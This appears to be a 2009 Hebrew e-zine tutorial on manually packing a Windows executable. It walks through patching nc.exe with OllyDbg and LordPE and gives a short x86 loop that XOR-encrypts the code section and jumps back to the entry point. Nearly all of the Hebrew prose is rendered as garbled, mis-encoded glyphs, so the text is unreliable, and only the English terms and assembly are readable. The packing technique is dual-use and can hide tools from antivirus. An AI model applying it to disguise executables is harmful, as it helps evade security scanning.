˸˩˶˰ˬˢ ,˦ˣ˷˲ ˣ˯ˮ˩ ˥ˣ˪˪ ˢ˵˶˟ˢ ,˭ˣ˵˧˧˞˪ ˪˷ ˪ˣˢ˧ˮˢ ˸ˣˮˣ˟˷˥ ˫˷ˣ ˸ˣˮ˷˪ ˸˞ ˞ˬ˯˧˯ˢ ˪˷ ˪˩ ˡ˥˞. 

˶˟˥ˢ's ˟-Microsoft ˞˪ ˣ˶˞˷ˮ ˫˧˟˧˧˥ ˣˮ˵˧˸ˣ ˸˞ ˠ˞˟ˢ ˢˤˢ ˨˪ˢˬ˟ ˟-Sp2 ,˟˷ ˨˩-Vista  ˞˪ ˢˤ ˠ˞˟

˫˧˧˵ .˪˩˟ ˭˲ˣ˞ ,-˟Vista ˷˧ ˣˮ˪ ˸˞ s-Windows Defender ;( 

 

˫ˣ˩˧˯ 

 

ˣˢˤ ˣ˧˷˩˰˪ ,˧ˮ˞ ˢˣˣ˵ˬ ˪˩˷ ˢˬ ˧˸˶˟˯ˢ˷ ˭˟ˣˢ ˡ˰ ˱ˣ˯ˢ .˭ˣ˧˰˶ˢ ˠ˴ˣˢ˷ ˞ˣˢ ˪˴ˮ˪ ˫˧˪˷˩ ˫˧˧ˠˣ˪ .ˣˬ˩˟˭ 

˶˷˲˞˷ ˷ˬˬ˪ ˸˞ ˢ˲˵˸ˢˢ ˸˞ˤˢ ˫ˠ ˫˧˟˴ˬ˟ ˷˧˷ ˫˧˪˷˩ ˫ˢ˷ ˣ˞˪ ˞˵ˣˣˡ ˫˧˧ˠˣ˪ ,˪˟˞ ˟˶˟ ˫˧ˬ˰˲ˢ 

˫˧˪˵˸ˮ˷ ˫ˢ˟ ˟-Privilege escalation ˧˪˷˩ˢ ˫ˣ˧ˢ ˫˧ˠˣ˪ ˪˷˟ ˢ˶ˣ˴˸ˢ x˞ ˢ˶ˣ˦˵˦˧˩˶˞ˢ ˪˷ 

˸˩˶˰ˬˢ.  
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Manual Packing 
 ˸˞ˬ˪˪ˢ ˳˧˟ˣˬ˧˥' )HLL( 

 

ˢˬˡ˵ˢ 

 

˥ˮˣˬˢ Packing ˯˥˧˧˸ˮ˷ ˣ˧˪˞ ˨˶ˣ˞˪ ˶ˬ˞ˬˢ ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ ˶ˣ˸˟ 'ˢˤ˧˶˞ 'ˣ˞ 'ˡˣˡ˧˵ 'ˡ˰ˣˮ ˶ˣ˵ˬ˟ ˢ˯˧˥ˡ˪ 

˪˷ ˧˴˟ˣ˵ ˢ˴˶ˢ ˞˪˪ ˨˶ˣ˴ ˟˧˩˶˟ ˧ˮˣ˴˧˥ .˨˧˪ˢ˸ ˢˤ˧˶˞ˢ ,˭ˣ˶˵˰˟ ˢˬˣˡ ˢˬ˪ ˢ˶ˣ˵˷ ˶˷˞˩ ˫˧˰˴˟ˬ 

ˢ˯˧˥ˡ ˪˷ ˳˟ˣ˵ ˪- Self-Extracted Archive ,˨˧˪ˢ˸ ˣ˟˷ ˫ˠ ˭ˣˮˠˮˬ ˢ˯˧˥ˡˢ ˫ˠˣ ˫˧ˮˣ˸ˮˢ ˫˧˯ˣ˥ˡˢ 

˫˧˲˶ˣ˴ˬ ˣ˧ˡ˥˧ ˢˤ˧˶˞˪ ˸˥˞. ˨˧˪ˢ˸ ˢˤ˧˶˞ˢ ˯˥˧˧˸ˮ˷ ˣ˧˪˞ ˶ˬ˞ˬ˟ ˢˤ ˣˮ˧˞ ˡ˰ˣˮ ˶ˣ˰ˤˬ˪ ˣ˪ˡˣˠ ˪˷ 

˳˟ˣ˵ˢ ˶ˬˠˣˬˢ ˞˪˞ ˰ˣ˴˧˟˪ Obfuscation )˷ˣ˦˷˦ (˪˷ ˡˣ˵ ˢˮˣ˩ˬˢ ˞˴ˬˮˢ ˳˟ˣ˵˟. 

˭ˮ˷˧ ˸ˣ˶˷˰ ˫˞ ˞˪ ˸ˣ˞ˬ ˫˧˪˩ ˫˧˦ˬˣ˦ˣ˞ ˫˧˰˴˟ˬ˷ ˸˞ ˨˧˪ˢ˸ˢ ˢˤˢ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ ,˨˞ ˡ˥˧ ˫˸˧˞ 

˫ˠ ˫˧ˬ˧˧˵ ˫˧˪˩ ˫˧˰ˡˣ˧ˢ ˥ˣ˸˲˪ ˸˞ ˢˤ˧˶˞ˢ ˣˤˢ ˭˲ˣ˞˟ ˧˦ˬˣ˦ˣ˞ ,˱˯ˣˮ˟ˣ ˵˪˥ ˧˪˩ˬ ˢˤ˧˶˞ˢ ˫˧˦ˬˣ˦ˣ˞ˢ 

˫˧˰˧ˬ˦ˬ ˢˬ˧˸˥ ˪˰ ˳˟ˣ˵ˢ ˸ˮ˸˧ˮ˷ ˧ˣˢ˧ˤ˪ ˸ˣ˪˵˟ ˰"˧ ˧˦ˮ˞ ˯ˣ˶˧ˣˣ. 

˶ˬ˞ˬ˟ ˢˤ ˞˧˟ˮ ˞ˬˠˣˡ ˸˧ˮˣ˶˵˰ ˰ˣ˴˧˟˪ ˪˷ ˨˧˪ˢ˸ ˢˤ˧˶˞ ˸˧ˮˡ˧ .˨˧˪ˢ˸ˢ ˪˪˩ ˣˮ˧˞ ˟˩˶ˣˬ ˧˯˧˯˟ˣ ˧˶ˬˠ˪ .

˫ˮˬˣ˞ ,˨˧˪ˢ˸ˢ ˞˪ ˯˧˟˧ ˸˞ ˪˩ ˧˪˩ ˯ˣ˶˧ˣˣ˧˦ˮ˞ˢ ˪˟˞ ˶˵˧˰˟ ˭˩ ˶ˣˤ˰˧ ˫˩˪ ˢˡ˧ˬ˟ ˫˸˞ˣ ˫˧˴ˣ˶ ˱ˣ˵˰˪ 

˭ˣˮˠˮˬ ˭ˣˮ˧˯ ˭˩ˣ˸ ,˫˧˯ˣ˶˧ˣˣ˧˦ˮ˞ ˸˴˵ ˸ˣ˥˲ ˫˧ˬ˩˥ˣ˸ˬ ˣˡ˩ˣ'. 

 

˸ˣ˷˧˶ˡ ˫ˡ˵ 

 

¶ Ollydbg ˞˯˶ˠ ˢ˩ˣˬˮˢ ˬ-2.0 . ˫˷˟ ˶ˣ˴˧˵˟ ˢˮ˩ˣ˸ˢ ˸˞ ˢˮ˩ˮOlly ˨˷ˬˢ˟. 

¶ LordPE ï ˧˪˩ ˧˷ˣˬ˧˷ ˸˩˧˶˰˪ ˸ˣ˶˸ˣ˩ s-PE Header ˪˷ ˧˴˟˵ Object ˪˷ ˦˲ˣ˯ˣ˶˵˧˧ˬ. 

¶ Notepad  

¶ ˰ ˡ˧ ˧˯˧˯˟ ˸˲˷˟ ˧˪˟ˬ˯˞ . 

¶ ˳˟ˣ˵ ˣ˸ˣ˞ ˣˮ˧˧ˢ ˫˧ˮ˧˧ˮˣ˰ˬ ˡˡˣ˵˪ ï ˶ˬ˞ˬ˪ ˢˤ ,˧ˮ˞ ˷ˬ˸˷ˬ ˟- nc.exe ï ˵˪˥ ˣˮ˩˧ ˣ˸ˣ˞ 

"NetCat ς A Hacker Swiss Army Knife" 

  



 

Manual Packing 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ1 ,˶˟ˣ˦˵ˣ˞ 2009  16 

 

˦˵˶˦˯˟˞ 

 

˶ˬ˞ˬ˟ ˢˤ ˣˮ˥ˮ˞ ˫˵ˬˮ ˸˯˧˲ ˡˣ˵ ˧˪˟ˬ˯˞˟ ˡ˰ˣ˧˸˷ ˢ˴˶ˢ˪ ˧ˮ˲˪ ˸˪˥˸ˢ ˸˧ˮ˩ˣ˸ˢ ˸˧˶ˣ˵ˬˢ ,˸˯˧˲ 

ˡˣ˵ˢ ˮˢ"˪ ˢˮ˧ˢ ˫˴˰˟ ˡˣ˵ˢ ˢˣˣˢˬ˷ ˸˞ s-Unpacker ˣˮ˪˷ ˫ˠˣ ˸˞ s-Packer ˣˮ˪˷. 

˨˧˪ˢ˸ˢ ˢ˶˵˧˷ ˞ˣˢ ,˸˰˟˷ ˸˪˰˲ˢ ˢ˧˴˵˧˪˲˞ˢ  ,˳ˣ˶˧ ˰˦˵ ˡˣ˵ˢ ˣˮ˪˷ ˣˡ˧˵˲˸˷ ˥ˣ˸˲˪ ˭ˬˤ˟ ˢ˴˧˶ ï 

˪˰ ˭ˣ˶˩˧ˤˢ ˸˞ ˡˣ˵ˢ ˭˩˞˷ ˶ˣˬ˞ ˸ˣ˧ˢ˪ ˳˶ˣˬ .ˢˮˣˣ˩ˢ ˞˧ˢ ,˸˰˟˷ ˸ˮ˧˰˦ ˸˧ˮ˩ˣ˸ˢ ˳˟ˣ˵ˢ ˞˪ ˭˸˧ˮ 

ˢ˴˶ˢ˪ ,˰ˣ"˧ ˨˩ ˫ˠ ˣˮ˧˞ ˭˸˧ˮ ˧ˣˢ˧ˤ˪ ,˳˟ˣ˵ˢ ˡˡˣ˵˧/˭˲˴ˣ˧ ˟˥˸˲ˬ ˣˮ˸˶˧˥˟˪ ,ˢˬ˩˟ˣ ˸ˣ˶ˣ˷ ˸ˣˮˣ˷˞˶ˢ ˪˷ 

˧˧˥ ˸˧ˮ˩ˣ˸ˢ ,˰˦˵ ˡˣ˵ˢ ˣˮ˪˷ )˞ˣˢ˷ ˭˩˞ ˞˧˶˵ ˡ˟˰ˬ˪ (˰˴˟˧ ˷ˣˬ˧˷ ˥˸˲ˬ˟ ˢˤ ˰"ˬ ˥ˣ˸˲˪ ˸˞ ˶˞˷ 

ˡˣ˵ ˢ˧˴˵˧˪˲˞ˢ ˶˧˟˰ˢ˪ˣ ˸˞ ˢ˦˧˪˷ˢ ˢ˧˪˞. 

˨˶ˣ˴˪ ˢˤ ˨˶˦˴ˮ ˰˴˟˪ ˶˲˯ˬ ˸ˣ˪ˣ˰˲: 

м. ˶˸˞˪ ˶ˣˤ˞ ˡˣ˵ ˣˮ˧˞˷ ˷ˣˬ˧˷˟ ˫˰ ˧l ˫ˣ˵ˬ )˨˶˦˴ˮ ˩-30 ˫˧˸˟.( 

н. ˨ˣ˶˰˪ ˸˞ s-PE Header ˪˷ ˸˧ˮ˩ˣ˸ˢ ˨˩ ˷: 

¶ s˧ ˢ˸ ˸˞˷˶ˢ ˢ˟˧˸˩ ˰˦˵ˬ˪ ˡˣ˵ˢ )˭ˣˣ˧˩ˬ ˣˮ˥ˮ˞˷ ˫˧ˮ˷ˬ ˣ˸ˣ˞ ˭ˬˤ˟ ˢ˴˧˶( 

¶ sˮ ˷ˮ ˸˞ s-Entry Point ˪˷ ˸˧ˮ˩ˣ˸ˢ ,˨˩ ˢˮ˲˧˷ ˡˣ˵˪ ˣˮ˪˷. 

о. ˟ˣ˸˩˪ ˸˞ ˢ˞˪ˣ˪ˢ ˸˥ˮ˰˲ˬˢ ˸˞ ˳˟ˣ˵ˢ )ˢ˶˵ˬ˟ ˣˮ˪˷ xʕ ˢ˸ˣ˞ ˢ˞˪ˣ˪ˢ ˫ˠ ˥ˣˮ˰˧˲˪ ˫ˠˣ 

ˡˣˡ˧˵˪ (ˢˬˣ˧˯˟ˣ ,ˢ˶˧˟˰ˬ ˸˞ ˢ˦˧˪˷ˢ ˢ˶ˤ˥ ˸˧ˮ˩ˣ˸˪ ˸˧˷˞˶ˢ. 

п. ˟ˣ˸˩˪ ˸˞ ˪˪˩ ˡˣ˵ˢ ˣ˸˶ˣ˴˟ ˸ˡˡˣ˵ˬˢ ˳˟ˣ˵˪ EXE ˷ˡ˥ ,ˡ˥˧ ˫˰ ˢ˞˪ˣ˪ˢ ˸˥ˮ˰˲ˬˢ. 

 

˸˞˧˴ˬ ˶ˣˤ˞ ˡˣ˵ ˧ˣˮ˲ ˭ˣˮ˩˸ˣ ˥ˣˣ˦ s- Packer 

 

˪˧˥˸ˮ ˸˞ ˢˡˣ˟˰ˢ ˸ˮ˧˰˦˟ ˳˟ˣ˵ˢ ˟-Olly .ˡ˧ˬ ˶˥˞˪ ˫˸ˮ˰˦˷ ˸˞ ˳˟ˣ˵ˢ ˫˰ Olly, Olly ˭ˬ˯ˬ ˸˞ 

˸ˡˣ˵ˮ ˢ˯˧ˮ˩ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ .ˣ˶˩ˤ ˢ˸ˣ˞ ˨˷ˬˢ˪ ,˫˸˞ ˣ˵˵ˡˤ˸ ˢ˪. 

˭˲ˣ˞˟ ˰˧˸˲ˬ ,˧˴˟˵ EXE ˫˧˪˧˩ˬ ˟ˣ˶˪ ˞˪ ˦˰ˬ ˫˧˶ˣˤ˞ ˫˧˸ˬ ,˫˧˶ˣˤ˞ ˫ˢ˷ ˫˧˴˵ˣˬ ,˫˧˯˲ˣ˸ ˫ˣ˵ˬ 

˳˟ˣ˵˟ ,˪˰ s-HD ,˫ˠˣ ˭ˣ˶˩˧ˤ˟ ˶˥˞˪ ˢˮ˧˰˦ - ˨˞ ˫˪ˣ˰˪ ˫ˮ˧˞ ˷ˣˬ˧˷˟ .ˣˮ˥ˮ˞ ˪˴ˮˮ ˸˞ ˢ˰˲ˣ˸ˢ ˮˢ"˪ 

˶˸˞ˮˣ ˫ˣ˵ˬ ˣ˟˷ ˪˩ˣˮ ˫˵ˬ˪ ˸˞ ˡˣ˵ˢ ˣˮ˪˷ .˨˧˞ ˢ˷˰ˮ xʕ ?˦ˣ˷˲ ˡˣ˞ˬ ,ˢ˪˰ˮ ˸˞ Olly ˪˧˥˸ˮˣ ˱˶˲˶˪ 

˰˦˵ˬ˟ ˡˣ˵ˢ .ˣˮ˥ˮ˞ ˫˧˷˲˥ˬ ˶ˣˤ˞ ˱˧˴˶  ˪˷˫˧˯˲˞ .ˢˤ˩ ˶ˣˤ˞ ˟ˣ˶˪ ˡˣ˞ˬ ˳ˣ˲ˮ ˣ˸˪˧˥˸˟ x˞ ˣ˲ˣ˯˟ ˪˷ 

˳˟ˣ˵ˢ .˫˧˸˰˪ ˭˸˧ˮ ˞ˣ˴ˬ˪ ˶ˣˤ˞ ˢˤ˩ ˫ˠ ˫˧˵˪˥˟ ˫˧˶˥˞ ˳˟ˣ˵˟. 
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˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ )˵˪˥˟ ˧˪˞ˬ˷ˢ ˭ˣ˧˪˰ˢ( ,˶˸ˣ˞ ˱ˣ˯˟ ˳˟ˣ˵ˢ ˵˪˥ ˪ˣˡˠ ˣˮ˧˞˷ ˷ˣˬ˧˷˟ .

ˢ˷˰ˬ˪ ,˵˪˥ ˢˤ ˰˶˸˷ˬ ˡ˰ ˣ˲ˣ˯ ˪˷ ˰˦˵ˬ ˡˣ˵ˢ. 

ˣˮ˞ ˷ˬ˸˷ˮ ˫ˣ˵˧ˬ˟ ˭ˬˣ˯ˬˢ ˸˟ˣ˸˩˟ ˭ˣ˶˩˧ˤˢ 0040A970 ,˫˷ˣ ˫˵ˬˮ ˸˞ ˡˣ˵ˢ ˣˮ˪˷ ˰˴ˣ˟˧˷ ˧ˮ˲˪ s- EP 

˧˶ˣ˵ˬˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ. 

˶˟ˡ ˱˯ˣˮ ˣ˩˶˦˴˸˷ ˫ˣ˷˶˪ ˫˩ˬ˴˰˪ ˞ˣˢ ˢˤ˧˞ˬ ˸˧˟ ˸˧ˮ˩ˣ˸˟ ˣ˴˶˸ ˪˥ˢ˪ ˸˞ ˢˤ˧˶˞ˢ ˫˩˪˷ ˪˰ ˳˟ˣ˵ˢ 

ˡ˰ˣ ˢˤ˧˞˪ ˸˧˟ .˞˪ ˭˸˧ˮ ˤˣ˶˞˪ ˪˩ˢ! ˫˸˞ ˞˪ ˫˧˪ˣ˩˧ ˤˣ˶˞˪ ˸˞ ˡˣ˵ s- Packer ˣˬ˴˰ - ˞ˣˢ ˟˧˧˥ ˸ˣ˧ˢ˪ 

˞˧˶˵ ˶˟˩ ˸˪˧˥˸ˬ ˸˧ˮ˩ˣ˸ˢ .˭˩˪ ,˫ˣ˷˶ˮ ˣˮ˪ ˞ˬˠˣˡ˪ ˸˟ˣ˸˩˩ ˢ˪˥˸ˢ ˸˞ ˸˪˧˥˸ ˰˦˵ˬ ˡˣ˵ˢ ,˞ˬˠˣˡ˪ 

0x401000 .˸˟ˣ˸˩ ˫ˣ˧˯ˢ ˢ˧ˢ˸ ˡ˰ ˸˪˧˥˸ ˰˦˵ s-Unpacker ˣˮ˪˷ ,˞ˬˠˣˡ˪ 40A96E .ˢ˶˵ˬ˟ ˢˤ˩ 

˶ˣˤ˧˞ˢ ˤˣ˶˞ˮ˷ ˰˶˸˷ˬ ˪˰ ˧ˮ˲ 996E ˫˧˸˟. 

 

˶ˣ˷˲˞ ˢ˟˧˸˩ ˰˦˵ˬ˪ ˡˣ˵ˢ ˧ˣˮ˧˷ˣ ˵ˮ 'ˢ˯˧ˮ˩ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ 

 

ˣˮ˞ ˫˧˩˪ˣˢ ˟ˣ˸˩˪ ˨ˣ˸˪ ˳˟ˣ˵ ˢ˴˶ˢˢ ˰˦˵ ˡˣ˵ˢ ˢˮ˷˧˷ ˸˞ ˭˩ˣ˸ ˰˦˵ˬ ˡˣ˵ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ ˭ˬˤ˟ ˢ˴˧˶ .

-˟Windows ˸ˬ˧˧˵ ˢˮˠˢ ˡˠˮ ˶˟ˡ ˢˤ ˭ˣˣ˧˩ˬ ˶˟ˡˢ˷ ˣˮ˧˞ ˶ˣˬ˞ ˸ˣ˶˵˪ ˢ˪ˣ˰˲˟ ˢ˪˧ˠ˶ ˪˷ ˸˧ˮ˩ˣ˸ ˢˮ˧˵˸ .

˟˴ˬ˟ ˸ˬ˧˧˵˷ ˢˮˠˢ ˢ˥ˮˢˢ ˞˧ˢ ˫˞˷ ˢ˧ˢ ˭ˣ˧˯˧ˮ ˟ˣ˸˩˪ ˪˰ ˰˦˵ˬ ˡˣ˵ˢ ˧˶ˢ ˣˤ˷ ˢ˞˧ˠ˷ ˞˪˷ ˸ˬ˞˟ 

ˢ˧˪˞ ˭ˣˣ˩˸ˢ ˶˶ˣ˷ˬˢ. 
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˭˸˧ˮ ˸ˣ˟˩˪ ˸˞ ˢˮˠˢˢ ˪˰ ˰˦˵ˬ ˡˣ˵ˢ ˸ˣ˰˴ˬ˞˟ ˧ˣˮ˧˷ s- Attributes ˰˦˵ˬ˟ )Section (˫˧˞˸ˬˢ ˶˸ˣ˩˟ 

-sPE ,˨˶ˣ˴˪ ˢˤ ˢ˪˰ˮ ˸˞ LordPE. ˥˸˲ˮ ˣ˸ˣ˰˴ˬ˞˟ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ )˸˥˸ PE Edit( ,˳˥˪ˮ ˪˰ Sections 

˶˥˟ˮ ˸˞ ˰˦˵ˬˢ ˣˬ˷˷ .text )ˣˢˤ ˣˬ˷ ˟ˣ˶˪ ï ˨˞ ˢˤ ˞˪ ˟˧˧˥ ˸ˣ˧ˢ˪ ˣˬ˷ (˨ˣ˶˰ˮˣ ˸˞ ˣ˸˶˸ˣ˩. 

 

˱˯ˣˮ˟ ,ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˸ˣˮ˷˪ ˫ˠ ˸˞ ˸ˡˣ˵ˮ ˢ˯˧ˮ˩ˢ ˸˧ˮ˩ˣ˸˪ ˢˮ˲˸˷ ˡˣ˵˪ ˣˮ˪˷ ,˶ˣˬ˞˩˷ ,˭ˣ˶˩˧ˤ˟ ˟˷ˣ˧ 

˸˟ˣ˸˩˟ 0040A970 ,˨˞ ˶˸ˣ˩˟ s- PE  ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˭˧˧˴˪ ˸˞ s- RVA  Relative Virtual) Address (˪˷ 

-s EP ˷ˡ˥ˢ ,˞˪ˣ ˸˟ˣ˸˩ˢ ˣ˪˷ ˭ˣ˶˩˧ˤ˟ .˧ˡ˩ ˸ˣ˷˰˪ ˸˞ˤ ˡˣ˟˰ˮ ˪˰ ˧˲ ˞˥˯ˣˮˢ ˢ˞˟ˢ: 

ImageBase + RVA = Virtual Address (address in memory) 

 ˶ˬˣ˪˩- ˰"ˬ ˰˧ˠˢ˪ ˸˟ˣ˸˩ˢˬ ˸˧˪˞ˣ˦˶˧ˣˣˢ ˭ˣ˶˩˧ˤ˟ ˷˧˷ ˣˮ˪ 0040A970 ,˪˞ s- RVA ˪˷ s- EP ˣˮ˥ˮ˞˷ 

˫˧˩˧˶˴ ˭˧˧˴˪ ,˶˯˥ˮ ˭ˬ s- VA ˸˞ s- ImageBase ,˭˸˧ˮ˷ ˣ˸ˣ˞˶˪ ˟- LordPE. ˢ˶˵ˬ˟ ˧˪˷ ,˟ˣ˷˧˥ˢ 

˫˩˸˯ˬ ˸˟ˣ˸˩˟ A970 ï ˢ˸ˣ˞ˣ ˭˧˧˴˞ ˟- LordPE ˶ˣ˸˟ s- Entry Point ˪˷ ˸˧ˮ˩ˣ˸ˢ. 
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ˣ˧˷˩˰ ˣˮ˩˶˰˷ ˸˞ ˪˩ ˢˬ ˨˧˶˴˷ ˶˸ˣ˩˟ s-PE ,˶˷˲˞ ˸˷ˠ˪ ˪˧˥˸ˢ˪ˣ ˟ˣ˸˩˪ ˸˞ ˢ˞˪ˣ˪ˢ ˣˮ˪˷. 

 

˸˟˧˸˩ ˸˞˪ˣ˪ ˡˣˡ˧˵ˢ ˡˣˡ˧˵ˣ ˳˟ˣ˵ˢ 

 

˭ˣˮˠˮˬ ˢˤ˧˶˞ˢ ˧˸˶˥˟˷ ˠ˧˴ˢ˪ ˢ˲ ˞ˣˢ ˢ˶ˣ˴ˢ ˧˩ˢ ˢ˦ˣ˷˲ ˸ˬ˧˧˵˷ ˰˴˟˪ ˸˞ ˨˧˪ˢ˸ ˢˤˢ ,-˟ 

MetaSploit Framework ˫˧ˬ˧˵ ˫˧˪˩ ˫˧ˬˣˡ ˢˬ˪ ˠ˴ˣ˧˷ ˢ˲. ˢˤ˧˶˞ˢ ˧˸˶˥˟˷ ˰˴˟˸˸ ˸ˣ˰˴ˬ˞˟ ˸˪ˣ˰˲ 

XOR ˪˰ ˪˩ ˡ˥˞ ˫˧˸˟ˢˬ ˪˷ ˰˦˵ˬ ˡˣ˵ˢ. ˸˪ˣ˰˲ XOR ˢˮ˧ˢ ˢ˪ˣ˰˲ xl ˸˧ˮˣˣ˧˩ ,˶ˬˣ˪˩ ˫˞ ˳˧˶ˮ ˸˪ˣ˰˲ 

XOR ˪˰ ˞˸ ˭ˣ˶˩˧ˤ ,˰˴˟ˮˣ ˢ˸ˣ˞ ˸˧ˮ˷˟ ˫˰ ˨˶˰ˢ ˷ˡ˥ˢ ˣ˸ˣ˞˟ ˞˸ s˭ˣ˶˩˧ˤ ,˨˶˰ˢ ˶ˣˤ˥˧ ˸ˣ˧ˢ˪ ˨˶˰ˢ 

˧˶ˣ˵ˬˢ ˣ˪˷ . ˭˞˩ˬ- ˨˧˪ˢ˸ˢ ˥˸ˣ˲˷ ˸˞ ˳˟ˣ˵ˢ ˣˮ˪˷ ˢ˴˶ˢ˪ ,ˢ˧ˢ˧ ˣ˸ˣ˞ ˨˧˪ˢ˸ ˵ˣ˧ˡ˟ ˡˡˣ˵ˬˢ ˣ˸ˣ˞ 

ˢ˶˧ˬ˷˪. 

˶˥˞˪ ˣˮ˩˶˰˷ ˫˰ Lord PE ˸˞ ˪˩ ˷˶ˡˮˢ ,ˢ˪˰ˮ ˸˞ s-OllyDbg ˷ˠˮˣ ˫ˣ˵˧ˬ˪ ˣ˟˷ ˣˮ˦˪˥ˢ ˫˵ˬ˪ ˸˞ 

˰˦˵ ˡˣ˵ˢ. 

˭˪ˢ˪ ˰˦˵ ˡˣ˵ˢ ˧˪˟ˬ˯˞˟ ˫˰ ˫˧˶˟˯ˢ ˫˧ˣˣ˪ˮ ,˰˴˟ˬˢ ˸˞ ˸˪ˣ˰˲ s-Packing sx-Unpacking: 

mov EDI, 00401000   ; Start of area to be packed  

mov ECX, 0996E   ; Amount of bytes from that address  

packer_loop:  

xor byte ptr [EDI], 56  ; xor each byte. 56 is the key that we will  

    ;  use to xor each byte.  

inc edi    ; move on to the next address to xor  

loop packer_loop   ; loop this 996E times  

jmp 404AC3    ; jmp to the original program EP  

 

˫˞ ˳˧˶ˮ ˸˞ ˰˦˵ ˡˣ˵ˢ ˢˤˢ ˡ˟˪˟ )˭˸˧ˮ ˫˵ˬ˪ BreakPoint ˢˡˣ˵˲˟ ˢˮˣ˶˥˞ˢ( ,˫˰˲˟ ˢˮˣ˷˞˶ˢ ˡˣ˵ˢ 

ˡˡˣ˵˧ ˸˞ ˰˦˵ˬ ˡˣ˵ˢ ˪˷ ˸˧ˮ˩ˣ˸ˢ .˫˞ ˳˧˶ˮ ˣ˸ˣ˞ ˫˰˲ ˸˲˯ˣˮ ,˞ˣˢ ˥˸˲˧ ˢ˸ˣ˞. 

˧ˡ˩ ˞˪ ˯ˣ˶ˢ˪ ˸˞ ˳˟ˣ˵ˢ ˧˶ˣ˵ˬˢ ˶ˣˬ˷ˮ ˸˞ ˳˟ˣ˵ˢ ˣˬ˩ ˞ˣˢ˷ ˩- EXE ˷ˡ˥ .˳˥˪ˮ ˭˴˥˪ ˧ˮ˧ˬ˧ Copy to 

executable -> All changes ˪˟˵ˮˣ ˭ˣ˪˥ ˪˧˩ˬˢ ˸˞ s- EXE ˷ˡ˥ˢ ˣˮ˪˷ ,˫˞ ˢ˯ˮˮ ˶ˣˠ˯˪ ˸˞ ˭ˣ˪˥ˢ ˰˧˲ˣ˸ 

ˣˮ˪ ˢ˪˞˷ ˫˞ˢ ˣˮ˥ˮ˞ ˫˧˴ˣ˶ ˶ˣˬ˷˪ ˣ˸ˣ˞ ,ˣ˶ˬ˞ ˭˟ˣˬ˩ ˭˩. 

ˣ˧˷˩˰ ˣ˥˸˲ ˸ˣ˰˴ˬ˞˟ Olly ˸˞ ˳˟ˣ˵ˢ ˷ˡ˥ˢ ˢˮˢˣ ˞ˣˢ ˥˸˲ˮ ˸ˣ˶˧˷˧ ˪˞ ˡˣ˵ s-Packer ˣˮ˪˷ .ˣ˧˷˩˰ ˪˩ 

ˢˬ ˶˸ˣˮ˷ ˸ˣ˷˰˪ ˢˤ ˳˧˶ˢ˪ ˸˞ ˢ˞˪ˣ˪ˢ ˫˰˲ ˸˥˞ ˞˪˪ ˸˴˶ˢ ˳˟ˣ˵ˢ ˪˧˟˷˟ ˰˦˵˷ ˡˣ˵ˢ ˢˤˢ ˰˴˟˧ 

XOR ˪˩˪ ˵˪˥ˢ ˣˮ˧˧˴˷.  

ˣˬ˵ˬ BreakPoint ˪˰ ˢˡˣ˵˲ˢ ˢˮˣ˶˥˞ˢ )jmp (ˣ˴˧˶ˢˣ ˸˞ ˳˟ˣ˵ˢ. 
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ˢ˶˰ˢ : ˫˞ Olly ˞˪ ˰˟ˣ˴ ˫˩˪ ˫ˣˡ˞˟ ˸˞ ˸ˣˡˣ˵˲ˢ ˢˤ ˶ˬˣ˞ ˞ˣˢ˷ ˞˪ ˫˷ ˟˪ ˧ˣˮ˧˷˪ ˞˪ˣ ˶ˣˬ˷˧ ˫˩˪ 

˸˞ ˫˧˧ˣˮ˧˷ˢ ˳˟ˣ˵˪ ˷ˡ˥ ,˧ˡ˩ ˸ˣ˪˰˸ˢ˪ ˪˰ )ˠ˞˟ˢ? (ˢˤ ˦ˣ˷˲ ˣ˩˶˰ ˢˤ˧˞ ˞ˣˢ˷ ˨˶˰ ˸˪˧˥˸˟ 

˰˦˵ˬ ˡˣ˵ˢ ï ˪˞ ˣˮ˷˸, ˵˶ ˣ˷˰˸ Ctrl+E ˣ˶˷˞˸ˣ ,ˢˤ ˫ˣ˶ˠ˧ ˪-Olly ˫˧˷˪ ˟˪ ˫˧˧ˣˮ˧˷˪ ˫˧˩˪ˣˢ˷ 

˰˴˟˸ˢ˪ ˰˦˵ˬ˟ ˢˤ. 

ˢ˰˴ˢ: ˫˞ ˫˸˞ ˫˧˴ˣ˶ ˸ˣ˞˶˪ ˸˞ ˨˧˪ˢ˸ˢ ˢ˶ˣ˴˟ ˸˧˦ˮˠ˪˞ ,ˣˮˣˣ˩ ˸˞ s- Dump view ˠ˧˴ˢ˪ ˡˣ˵ 

˧˪˟ˬ˯˞ ,ˣ˴˲˵ˣ ˸˟ˣ˸˩˪ ˸˪˧˥˸ ˶ˣˤ˞ ˭ˣ˶˩˧ˤˢ ,˶˥˞˪ ˭˩ˬ ,ˣ˴˥˪ ˟ˣ˷ ˟ˣ˷ˣ ˪˰ ˶ˣ˸˲˩ s- Step over ˣ˞˶ˣ 

˩ˡ˴˧ ˡˣ˵ˢ ˫˩˪˷ ˡˡˣ˵ˬ ˸˞ ˡˣ˵ ˸˧ˮ˩ˣ˸ˢ ,ˡˣ˞ˬ ˟˧ˮˠˬ J. 

 

˶˷˞˩ ˫˸˰ˠˢ ˸ˡˣ˵˲˪ jmp ˫˩ˮˢ ˫˧˞˴ˬˮ ˟˴ˬ˟ ˪˩˷ ˰˦˵ˬ ˡˣ˵ˢ ˶˟˰ ˡˣˡ˧˵ ˫˰ XOR ˥˸˲ˬ˟ 

˫˸˶˥˟˷ )Olly ˭ˬ˯ˬ ˫˧˸˟ ˣˮˣ˷˷ ˫ˣˡ˞˟ .(˪˰ ˟˴ˬ ˳˟ˣ˵ˢ ˧˥˩ˣˮˢ ,˰˴˟ˮ ˟ˣ˷ ˢ˶˧ˬ˷ ˣˬ˩ ˧˸˶˩ˤˢ˷ 

